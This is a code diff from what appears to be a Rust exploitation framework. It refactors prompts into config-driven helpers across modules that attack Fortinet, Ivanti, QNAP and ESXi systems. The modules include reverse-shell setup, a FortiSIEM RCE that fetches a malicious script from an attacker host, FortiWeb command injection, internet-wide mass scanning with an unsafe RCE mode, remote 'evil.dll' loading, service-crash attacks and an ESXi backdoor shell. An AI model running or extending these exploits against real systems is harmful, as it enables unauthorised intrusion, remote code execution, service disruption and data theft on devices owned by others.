std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
let username = input.trim().to_string();
|
||||
let username = cfg_prompt_required("forticloud_username", "FortiCloud username (attacker account)")?;
|
||||
if username.is_empty() {
|
||||
bail!("FortiCloud username is required");
|
||||
}
|
||||
config.forticloud_username = username;
|
||||
|
||||
// FortiCloud password
|
||||
print!("{}", "FortiCloud password: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
let password = input.trim().to_string();
|
||||
let password = cfg_prompt_required("forticloud_password", "FortiCloud password")?;
|
||||
if password.is_empty() {
|
||||
bail!("FortiCloud password is required");
|
||||
}
|
||||
config.forticloud_password = password;
|
||||
|
||||
// Serial number (optional)
|
||||
print!("{}", "Target device serial number [default: FGT80ETK21000000]: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
if !input.trim().is_empty() {
|
||||
config.serial_number = input.trim().to_string();
|
||||
}
|
||||
config.serial_number = cfg_prompt_default("serial_number", "Target device serial number", "FGT80ETK21000000")?;
|
||||
|
||||
// Check only mode
|
||||
print!("{}", "Check only (no exploitation)? [y/N]: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
config.check_only = input.trim().eq_ignore_ascii_case("y");
|
||||
config.check_only = cfg_prompt_yes_no("check_only", "Check only (no exploitation)?", false)?;
|
||||
|
||||
// Reverse shell (if not check only)
|
||||
if !config.check_only {
|
||||
print!("{}", "Setup reverse shell connection? [y/N]: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
let setup_shell = cfg_prompt_yes_no("setup_shell", "Setup reverse shell connection?", false)?;
|
||||
|
||||
if input.trim().eq_ignore_ascii_case("y") {
|
||||
print!("{}", "Listener IP: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
config.shell_ip = Some(input.trim().to_string());
|
||||
if setup_shell {
|
||||
let shell_ip = cfg_prompt_required("shell_ip", "Listener IP")?;
|
||||
config.shell_ip = Some(shell_ip);
|
||||
|
||||
print!("{}", "Listener port [default: 4444]: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
config.shell_port = Some(match input.trim().parse::<u16>() {
|
||||
Ok(p) => p,
|
||||
Err(_) => 4444,
|
||||
});
|
||||
config.shell_port = Some(cfg_prompt_port("shell_port", "Listener port", 4444)?);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -431,11 +388,8 @@ async fn run_exploit(config: &ExploitConfig) -> Result<()> {
|
||||
// Step 1: Check target
|
||||
let is_fortinet = check_vulnerable(&client, config).await?;
|
||||
if !is_fortinet {
|
||||
print!("{}", "[?] Target may not be a Fortinet device. Continue? [y/N]: ".yellow());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
if !input.trim().eq_ignore_ascii_case("y") {
|
||||
let cont = cfg_prompt_yes_no("continue_anyway", "Target may not be a Fortinet device. Continue?", false)?;
|
||||
if !cont {
|
||||
println!("{}", "[-] Aborted.".red());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
@@ -3,7 +3,7 @@ use colored::*;
|
||||
use reqwest::Client;
|
||||
use serde_json::Value;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_required, normalize_target};
|
||||
use crate::utils::{cfg_prompt_required, normalize_target};
|
||||
|
||||
/// FortiOS/FortiProxy/FortiSwitchManager Auth Bypass (CVE-2022-40684)
|
||||
///
|
||||
@@ -21,7 +21,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Determine target URL
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP")?
|
||||
cfg_prompt_required("target", "Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
@@ -2,7 +2,7 @@ use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_required, normalize_target};
|
||||
use crate::utils::{cfg_prompt_required, normalize_target};
|
||||
|
||||
/// FortiOS SSL VPN Path Traversal (CVE-2018-13379)
|
||||
///
|
||||
@@ -16,7 +16,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Determine target URL
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP")?
|
||||
cfg_prompt_required("target", "Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
@@ -6,7 +6,7 @@ use tokio_rustls::rustls::{ClientConfig, RootCertStore, pki_types::ServerName};
|
||||
use tokio_rustls::TlsConnector;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_default, prompt_port};
|
||||
use crate::utils::{cfg_prompt_required, normalize_target, cfg_prompt_default, cfg_prompt_port};
|
||||
|
||||
/// FortiSIEM Unauthenticated RCE (CVE-2025-64155)
|
||||
///
|
||||
@@ -20,7 +20,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Determine target
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP")?
|
||||
cfg_prompt_required("target", "Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
@@ -35,8 +35,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "It overwrites /opt/charting/redishb.sh on the target.".red());
|
||||
println!("{}", "It executes a command via curl argument injection.".red());
|
||||
|
||||
let lhost = prompt_default("LHOST (Your IP) for payload download", "127.0.0.1")?;
|
||||
let lport = prompt_port("LPORT (Your Web Server Port)", 8000)?;
|
||||
let lhost = cfg_prompt_default("lhost", "LHOST (Your IP) for payload download", "127.0.0.1")?;
|
||||
let lport = cfg_prompt_port("lport", "LPORT (Your Web Server Port)", 8000)?;
|
||||
let filename = "redishb.sh";
|
||||
|
||||
println!("{} Ensure you are hosting a malicious '{}' at http://{}:{}/{}", "[*]".yellow(), filename, lhost, lport, filename);
|
||||
|
||||
@@ -4,7 +4,7 @@ use reqwest::Client;
|
||||
use serde_json::json;
|
||||
use std::time::Duration;
|
||||
use urlencoding::encode;
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_default};
|
||||
use crate::utils::{cfg_prompt_required, normalize_target, cfg_prompt_default};
|
||||
|
||||
/// FortiWeb Authenticated OS Command Injection (CVE-2021-22123)
|
||||
///
|
||||
@@ -19,7 +19,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Determine target URL
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP")?
|
||||
cfg_prompt_required("target", "Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
@@ -29,8 +29,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{} Target: {}", "[*]".blue(), base_url);
|
||||
|
||||
// Credentials
|
||||
let username = prompt_default("Username", "admin")?;
|
||||
let password = prompt_required("Password")?;
|
||||
let username = cfg_prompt_default("username", "Username", "admin")?;
|
||||
let password = cfg_prompt_required("password", "Password")?;
|
||||
|
||||
// Connect and Login (to get token/cookies)
|
||||
// Note: FortiWeb login process usually involves /api/v2/token or similar
|
||||
@@ -71,7 +71,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
// Payload
|
||||
let cmd = prompt_default("Command to execute", "id")?;
|
||||
let cmd = cfg_prompt_default("command", "Command to execute", "id")?;
|
||||
|
||||
// We need to inject command in `server-name` inside backticks
|
||||
// Example: `id`
|
||||
|
||||
@@ -27,13 +27,14 @@ use crate::modules::creds::utils::generate_random_public_ip;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use std::io::Write;
|
||||
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use chrono::Local;
|
||||
use crate::utils::normalize_target;
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 15;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
@@ -311,11 +312,7 @@ async fn run_mass_scan() -> Result<()> {
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
std::io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
std::io::stdin().read_line(&mut excl_choice)?;
|
||||
let excl_choice = cfg_prompt_default("exclude_reserved", "Exclude reserved/private ranges? [Y/n]", "Y")?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
@@ -328,25 +325,9 @@ async fn run_mass_scan() -> Result<()> {
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
// Prompt for Output File
|
||||
print!("{}", "[?] Output File (default: fortiweb_hits.txt): ".cyan());
|
||||
std::io::stdout().flush()?; // Use std::io for flush/read
|
||||
let mut outfile = String::new();
|
||||
std::io::stdin().read_line(&mut outfile)?;
|
||||
let outfile = outfile.trim();
|
||||
let outfile = if outfile.is_empty() { "fortiweb_hits.txt" } else { outfile };
|
||||
let outfile = outfile.to_string();
|
||||
let outfile = cfg_prompt_default("output_file", "Output File", "fortiweb_hits.txt")?;
|
||||
|
||||
// Prompt for Payload Mode
|
||||
println!("{}", "[?] Select Payload Mode:".cyan());
|
||||
println!(" 1. Standard SQLi Check (Safe)");
|
||||
println!(" 2. Unsafe RCE Verification (Full Rewrite)");
|
||||
println!(" 3. Aggressive Probe (Top 10 Payloads)");
|
||||
println!(" 4. Custom Injection String");
|
||||
print!("{}", "Select option [1-4] (default 1): ".cyan());
|
||||
std::io::stdout().flush()?;
|
||||
let mut mode_str = String::new();
|
||||
std::io::stdin().read_line(&mut mode_str)?;
|
||||
let mode_str = cfg_prompt_default("scan_mode", "Select payload mode [1-4]", "1")?;
|
||||
let mode = match mode_str.trim() {
|
||||
"2" => ScanMode::UnsafeRCE,
|
||||
"3" => ScanMode::AggressiveProbe,
|
||||
@@ -356,10 +337,7 @@ async fn run_mass_scan() -> Result<()> {
|
||||
|
||||
let mut custom_payload = String::new();
|
||||
if let ScanMode::CustomInjection = mode {
|
||||
print!("{}", "[?] Enter Custom SQLi Payload: ".cyan());
|
||||
std::io::stdout().flush()?;
|
||||
std::io::stdin().read_line(&mut custom_payload)?;
|
||||
custom_payload = custom_payload.trim().to_string();
|
||||
custom_payload = cfg_prompt_required("custom_payload", "Custom SQLi Payload")?;
|
||||
}
|
||||
let custom_payload = Arc::new(custom_payload);
|
||||
|
||||
@@ -432,15 +410,6 @@ async fn run_mass_scan() -> Result<()> {
|
||||
}
|
||||
|
||||
|
||||
|
||||
fn prompt_input_std(msg: &str) -> Result<String> {
|
||||
print!("{}", msg);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
@@ -457,7 +426,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!(" {} Test SQL injection only", "3.".bold());
|
||||
println!();
|
||||
|
||||
let choice = prompt_input_std("Select option [1-3]: ")?;
|
||||
let choice = cfg_prompt_default("operation", "Select option [1-3]", "1")?;
|
||||
|
||||
match choice.as_str() {
|
||||
"1" => {
|
||||
@@ -466,8 +435,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
"{}",
|
||||
"[!] WARNING: This will write files to the target system!".yellow().bold()
|
||||
);
|
||||
let confirm = prompt_input_std("Continue? [y/N]: ")?;
|
||||
if !confirm.eq_ignore_ascii_case("y") {
|
||||
let confirm = cfg_prompt_yes_no("confirm_exploit", "This will write files to the target system. Continue?", false)?;
|
||||
if !confirm {
|
||||
println!("{}", "[-] Operation cancelled.".red());
|
||||
return Ok(());
|
||||
}
|
||||
@@ -490,10 +459,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Interactive command loop
|
||||
println!();
|
||||
let interactive = prompt_input_std("Enter interactive mode? [y/N]: ")?;
|
||||
if interactive.eq_ignore_ascii_case("y") {
|
||||
let interactive = cfg_prompt_yes_no("interactive", "Enter interactive mode?", false)?;
|
||||
if interactive {
|
||||
loop {
|
||||
let cmd = prompt_input_std("cmd> ")?;
|
||||
let cmd = cfg_prompt_default("cmd", "cmd>", "")?;
|
||||
if cmd.is_empty() || cmd == "exit" || cmd == "quit" {
|
||||
break;
|
||||
}
|
||||
@@ -510,7 +479,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
"2" => {
|
||||
// Direct command execution (assumes webshell already deployed)
|
||||
println!();
|
||||
let cmd = prompt_input_std("Enter command to execute: ")?;
|
||||
let cmd = cfg_prompt_required("command", "Command to execute")?;
|
||||
if cmd.is_empty() {
|
||||
return Err(anyhow!("Command cannot be empty"));
|
||||
}
|
||||
|
||||
@@ -3,7 +3,7 @@ use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use serde_json::Value;
|
||||
use crate::utils::{prompt_required, normalize_target};
|
||||
use crate::utils::{cfg_prompt_required, normalize_target};
|
||||
|
||||
/// Ivanti EPMM Authentication Bypass (CVE-2023-35082 & CVE-2023-35078)
|
||||
///
|
||||
@@ -17,7 +17,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP")?
|
||||
cfg_prompt_required("target", "Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
@@ -2,7 +2,7 @@ use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_default};
|
||||
use crate::utils::{cfg_prompt_required, normalize_target, cfg_prompt_default};
|
||||
use urlencoding;
|
||||
|
||||
/// QNAP QTS NAS Buffer Overflow RCE (CVE-2024-27130)
|
||||
@@ -17,7 +17,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP/URL")?
|
||||
cfg_prompt_required("target", "Target IP/URL")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
@@ -32,13 +32,13 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{} Target: {}", "[*]".blue(), base_url);
|
||||
|
||||
// SSID is required - this is the session ID from a share link
|
||||
let ssid = prompt_required("SSID (from shared file link)")?;
|
||||
let ssid = cfg_prompt_required("ssid", "SSID (from shared file link)")?;
|
||||
|
||||
// The payload goes in the 'name' parameter
|
||||
// For PoC purposes, we'll demonstrate the vulnerability check
|
||||
// A real exploit would require crafting shellcode for the specific platform
|
||||
|
||||
let payload_size = prompt_default("Payload size (for buffer overflow test)", "1024")?;
|
||||
let payload_size = cfg_prompt_default("payload_size", "Payload size (for buffer overflow test)", "1024")?;
|
||||
let size: usize = payload_size.parse().unwrap_or(1024);
|
||||
|
||||
println!("{} Sending overflow test payload ({} bytes)...", "[*]".blue(), size);
|
||||
|
||||
@@ -2,7 +2,7 @@ use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_default, prompt_required, normalize_target};
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_required, normalize_target};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
@@ -14,7 +14,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Normalize target URL
|
||||
let base_url = if target.is_empty() {
|
||||
prompt_required("Target URL (e.g., http://192.168.1.100)")?
|
||||
cfg_prompt_required("target", "Target URL (e.g., http://192.168.1.100)")?
|
||||
} else {
|
||||
normalize_target(target)?
|
||||
};
|
||||
@@ -39,7 +39,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("2. Execute Custom Command");
|
||||
println!("3. Exit");
|
||||
|
||||
let choice = prompt_default("Select option", "1")?;
|
||||
let choice = cfg_prompt_default("mode", "Select option", "1")?;
|
||||
|
||||
match choice.as_str() {
|
||||
"1" => check_vulnerability(&client, &base_url).await?,
|
||||
@@ -72,7 +72,7 @@ async fn check_vulnerability(client: &Client, target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
async fn exploit_command(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = prompt_required("Enter command to execute")?;
|
||||
let cmd = cfg_prompt_required("command", "Enter command to execute")?;
|
||||
|
||||
if cmd.is_empty() {
|
||||
return Ok(());
|
||||
|
||||
@@ -2,7 +2,7 @@ use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use tokio::net::TcpStream;
|
||||
use byteorder::{BigEndian, LittleEndian, WriteBytesExt};
|
||||
use crate::utils::{prompt_default, prompt_required, prompt_port, prompt_yes_no, normalize_target};
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_port, cfg_prompt_yes_no, normalize_target};
|
||||
|
||||
const DEFAULT_PORT: u16 = 20001;
|
||||
|
||||
@@ -14,7 +14,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Parse target
|
||||
let target_host = if target.is_empty() {
|
||||
prompt_required("Target IP/Hostname")?
|
||||
cfg_prompt_required("target", "Target IP/Hostname")?
|
||||
} else {
|
||||
normalize_target(target)?
|
||||
};
|
||||
@@ -28,7 +28,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.unwrap_or(&target_host)
|
||||
.to_string();
|
||||
|
||||
let port = prompt_port("Port", DEFAULT_PORT)?;
|
||||
let port = cfg_prompt_port("port", "Port", DEFAULT_PORT)?;
|
||||
|
||||
println!("[*] Target: {}:{}", target_host, port);
|
||||
|
||||
@@ -37,18 +37,18 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("1. Exploit (Load Remote DLL)");
|
||||
println!("2. Exit");
|
||||
|
||||
let choice = prompt_default("Select option", "1")?;
|
||||
let choice = cfg_prompt_default("mode", "Select option", "1")?;
|
||||
|
||||
match choice.as_str() {
|
||||
"1" => {
|
||||
let dll_path = prompt_required("DLL Path (e.g., \\\\192.168.1.100\\share\\evil.dll)")?;
|
||||
let dll_path = cfg_prompt_required("dll_path", "DLL Path (e.g., \\\\192.168.1.100\\share\\evil.dll)")?;
|
||||
|
||||
if dll_path.is_empty() {
|
||||
println!("{}", "[-] DLL path cannot be empty.".red());
|
||||
continue;
|
||||
}
|
||||
|
||||
if prompt_yes_no("Send exploit payload?", false)? {
|
||||
if cfg_prompt_yes_no("confirm_exploit", "Send exploit payload?", false)? {
|
||||
exploit(&target_host, port, &dll_path).await?;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,7 +2,7 @@ use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use tokio::net::TcpStream;
|
||||
use byteorder::{BigEndian, LittleEndian, WriteBytesExt};
|
||||
use crate::utils::{prompt_default, prompt_required, prompt_port, prompt_yes_no, normalize_target};
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_port, cfg_prompt_yes_no, normalize_target};
|
||||
|
||||
const DEFAULT_PORT: u16 = 20001;
|
||||
|
||||
@@ -14,7 +14,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Parse target
|
||||
let target_host = if target.is_empty() {
|
||||
prompt_required("Target IP/Hostname")?
|
||||
cfg_prompt_required("target", "Target IP/Hostname")?
|
||||
} else {
|
||||
normalize_target(target)?
|
||||
};
|
||||
@@ -27,7 +27,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.unwrap_or(&target_host)
|
||||
.to_string();
|
||||
|
||||
let port = prompt_port("Port", DEFAULT_PORT)?;
|
||||
let port = cfg_prompt_port("port", "Port", DEFAULT_PORT)?;
|
||||
|
||||
println!("[*] Target: {}:{}", target_host, port);
|
||||
println!("{}", "[!] WARNING: This exploit will CRASH the MsgReceiver service!".red().bold());
|
||||
@@ -37,11 +37,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("1. Attack (DoS - Crash Service)");
|
||||
println!("2. Exit");
|
||||
|
||||
let choice = prompt_default("Select option", "2")?;
|
||||
let choice = cfg_prompt_default("mode", "Select option", "2")?;
|
||||
|
||||
match choice.as_str() {
|
||||
"1" => {
|
||||
if prompt_yes_no("This will crash the target service. Continue?", false)? {
|
||||
if cfg_prompt_yes_no("confirm_exploit", "This will crash the target service. Continue?", false)? {
|
||||
exploit(&target_host, port).await?;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,7 +2,7 @@ use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use tokio::net::TcpStream;
|
||||
use byteorder::{BigEndian, LittleEndian, WriteBytesExt};
|
||||
use crate::utils::{prompt_default, prompt_required, prompt_port, prompt_yes_no, normalize_target};
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_port, cfg_prompt_yes_no, normalize_target};
|
||||
|
||||
const DEFAULT_PORT: u16 = 20001;
|
||||
|
||||
@@ -14,7 +14,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Parse target
|
||||
let target_host = if target.is_empty() {
|
||||
prompt_required("Target IP/Hostname")?
|
||||
cfg_prompt_required("target", "Target IP/Hostname")?
|
||||
} else {
|
||||
normalize_target(target)?
|
||||
};
|
||||
@@ -27,7 +27,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.unwrap_or(&target_host)
|
||||
.to_string();
|
||||
|
||||
let port = prompt_port("Port", DEFAULT_PORT)?;
|
||||
let port = cfg_prompt_port("port", "Port", DEFAULT_PORT)?;
|
||||
|
||||
println!("[*] Target: {}:{}", target_host, port);
|
||||
println!("{}", "[!] WARNING: This exploit will CRASH the MsgReceiver service!".red().bold());
|
||||
@@ -37,11 +37,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("1. Attack (DoS - OOB Read Crash)");
|
||||
println!("2. Exit");
|
||||
|
||||
let choice = prompt_default("Select option", "2")?;
|
||||
let choice = cfg_prompt_default("mode", "Select option", "2")?;
|
||||
|
||||
match choice.as_str() {
|
||||
"1" => {
|
||||
if prompt_yes_no("This will crash the target service. Continue?", false)? {
|
||||
if cfg_prompt_yes_no("confirm_exploit", "This will crash the target service. Continue?", false)? {
|
||||
exploit(&target_host, port).await?;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -13,11 +13,11 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::io::{Read, Write};
|
||||
use std::io::Read;
|
||||
use std::net::TcpStream;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default, prompt_port};
|
||||
use crate::utils::{normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
@@ -224,14 +224,7 @@ pub async fn check_vulnerability(host: &str, port: u16, username: &str, password
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
@@ -241,9 +234,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_port("SSH Port", 22)?;
|
||||
let username = prompt_default("ESXi Username", "root")?;
|
||||
let password = prompt("ESXi Password").await?;
|
||||
let port: u16 = cfg_prompt_port("port", "SSH Port", 22)?;
|
||||
let username = cfg_prompt_default("username", "ESXi Username", "root")?;
|
||||
let password = cfg_prompt_required("password", "ESXi Password")?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
@@ -255,7 +248,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!(" 3. Full Scan (both)");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Mode", "3")?;
|
||||
let mode = cfg_prompt_default("mode", "Mode", "3")?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
|
||||
@@ -17,7 +17,7 @@ use std::io::{Read, Write};
|
||||
use std::net::TcpStream;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default, prompt_port};
|
||||
use crate::utils::{normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
@@ -194,14 +194,7 @@ pub async fn exec_command(host: &str, port: u16, command: &str) -> Result<String
|
||||
send_command(&mut stream, command)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
@@ -211,7 +204,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Target ESXi: {}", host).cyan());
|
||||
|
||||
// Default to port 21 (hijacked FTP via inetd)
|
||||
let port: u16 = prompt_port("Backdoor Port (TCP fallback)", 21)?;
|
||||
let port: u16 = cfg_prompt_port("port", "Backdoor Port (TCP fallback)", 21)?;
|
||||
|
||||
println!();
|
||||
println!("{}", "Select mode:".yellow().bold());
|
||||
@@ -221,24 +214,24 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!(" 4. Execute Single Command");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Mode", "1")?;
|
||||
let mode = cfg_prompt_default("mode", "Mode", "1")?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
interactive_shell(&host, port).await?;
|
||||
}
|
||||
"2" => {
|
||||
let remote_path = prompt("Remote file path on ESXi").await?;
|
||||
let local_path = prompt("Local path to save").await?;
|
||||
let remote_path = cfg_prompt_required("remote_path", "Remote file path on ESXi")?;
|
||||
let local_path = cfg_prompt_required("local_path", "Local path to save")?;
|
||||
get_file(&host, port, &remote_path, &local_path).await?;
|
||||
}
|
||||
"3" => {
|
||||
let local_path = prompt("Local file path").await?;
|
||||
let remote_path = prompt("Remote path on ESXi").await?;
|
||||
let local_path = cfg_prompt_required("local_path", "Local file path")?;
|
||||
let remote_path = cfg_prompt_required("remote_path", "Remote path on ESXi")?;
|
||||
post_file(&host, port, &local_path, &remote_path).await?;
|
||||
}
|
||||
"4" => {
|
||||
let command = prompt("Command to execute").await?;
|
||||
let command = cfg_prompt_required("command", "Command to execute")?;
|
||||
let output = exec_command(&host, port, &command).await?;
|
||||
println!();
|
||||
println!("{}", output);
|
||||
|
||||
@@ -16,11 +16,11 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::io::{Read, Write};
|
||||
use std::io::Read;
|
||||
use std::net::TcpStream;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default, prompt_int_range, prompt_port};
|
||||
use crate::utils::{normalize_target, cfg_prompt_default, cfg_prompt_int_range, cfg_prompt_port, cfg_prompt_required};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
@@ -206,14 +206,7 @@ pub async fn attack_add_user(host: &str, port: u16, username: &str, password: &s
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
@@ -223,12 +216,12 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
